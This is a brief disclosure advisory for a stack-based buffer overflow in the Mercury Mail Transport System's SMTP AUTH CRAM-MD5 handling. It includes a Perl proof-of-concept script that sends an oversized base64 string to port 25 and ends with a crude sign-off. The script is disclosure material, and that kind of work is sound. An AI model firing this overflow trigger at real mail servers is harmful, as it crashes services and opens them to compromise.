Mercury Mail Transport System Remote Stack Based Overflow

Overview

Mercury Mail Transport System: Mercury is a free, standards-based mail server solution, providing comprehensive, fast server support for all major Internet e-mail protocols. It is supplied in two versions, one hosted on Windows systems, the other running as a set of NLMs on Novell NetWare file servers.

Description

There is a remotely exploitable stack based buffer overrun in the latest version of Mercury Mail Transport System. Specifically the SMTP Server does not properly handle long AUTH CRAM-MD5 strings resulting in a complete compromise of the underlying system.

Proof of Concept

```
---snip---
use IO::Socket;
use MIME::Base64;
$|=1;
$host = "localhost";
$a = "QUFB" x 10000;
my $sock = IO::Socket::INET->new(PeerAddr => "$host",
PeerPort => '25',
Proto => 'tcp');
print $sock "EHLO you\r\n";
print $sock "AUTH CRAM-MD5\r\n";
print $sock $a . "\r\n";
while(<$sock>) {
print;
}
---snip---
```

CUCK FOPS!